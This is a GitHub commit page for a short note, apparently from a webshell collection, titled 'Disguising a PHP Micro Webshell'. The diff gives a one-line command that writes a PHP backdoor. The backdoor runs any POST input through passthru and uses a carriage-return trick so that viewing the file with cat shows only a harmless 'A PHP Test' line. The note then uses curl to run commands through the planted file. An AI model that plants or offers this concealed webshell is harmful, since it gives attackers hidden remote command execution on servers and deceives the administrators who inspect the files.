Skip to content

Commit

Permalink
Update and rename 2015-09-12.php to 2015-09-12.md
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc committed Sep 12, 2015
1 parent 2b600b7 commit d9abc3c
Showing 1 changed file with 5 additions and 2 deletions.
7 changes: 5 additions & 2 deletions php/tw/2015-09-12.php → php/tw/2015-09-12.md
Original file line number Diff line number Diff line change
@@ -1,12 +1,15 @@
Disguising a PHP Micro Webshell

` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`
`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`

url : http://t.co/YFm6QlpK0k

vist browser page show `A PHP Test`

then in console
then in console use `cat xxx.php`
it show `<?php echo 'A PHP Test ';" ?>`

then in console run
`curl -d 1=id http://www.xxx.xx/xx.php`

it like in console show command `id`

0 comments on commit d9abc3c

Please sign in to comment.